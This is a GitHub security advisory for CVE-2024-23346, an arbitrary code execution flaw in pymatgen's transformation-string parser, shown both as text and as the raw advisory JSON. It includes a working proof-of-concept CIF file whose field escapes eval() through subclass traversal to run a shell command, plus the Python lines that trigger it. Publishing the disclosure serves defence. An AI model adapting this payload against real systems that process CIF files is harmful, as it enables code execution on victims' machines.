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GHSA-VGV8-5CPJ-QJ2F

Vulnerability from github – Published: 2024-02-21 18:04 – Updated: 2025-02-06 18:06
VLAI
Summary
pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
Details

Summary

A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

Details

The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().

Vulnerable code

basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])

The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.

PoC

The vulnerability can be exploited as follows:

Create a file vuln.cif with the following contents:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Then, parse the cif file with the following code:

from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Severity
9.3 (Critical)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pymatgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2024.2.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-21T18:04:00Z",
    "nvd_published_at": "2024-02-21T17:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.\n\n### Details\nThe cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.\n\n#### Vulnerable code\n\n```py\nbasis_change = [\n    re.sub(r\"(?\u003c=\\w|\\))(?=\\() | (?\u003c=\\))(?=\\w) | (?\u003c=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n    for string in basis_change\n]\n\"\"\"snip\"\"\"\n([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n```\n\nThe use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.\n\n### PoC\n\nThe vulnerability can be exploited as follows:\n\nCreate a file `vuln.cif` with the following contents:\n\n```\ndata_5yOhtAoR\n_audit_creation_date            2018-06-08\n_audit_creation_method          \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc  \u0027a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0\u0027\n\n\n_space_group_magn.number_BNS  62.448\n_space_group_magn.name_BNS  \"P  n\u0027  m  a\u0027  \"\n```\n\nThen, parse the cif file with the following code:\n```py\nfrom pymatgen.io.cif import CifParser\nparser = CifParser(\"vuln.cif\")\nstructure = parser.parse_structures()\n```\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).",
  "id": "GHSA-vgv8-5cpj-qj2f",
  "modified": "2025-02-06T18:06:29Z",
  "published": "2024-02-21T18:04:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23346"
    },
    {
      "type": "WEB",
      "url": "https://github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/materialsproject/pymatgen"
    },
    {
      "type": "WEB",
      "url": "https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pymatgen/PYSEC-2024-226.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string"
}



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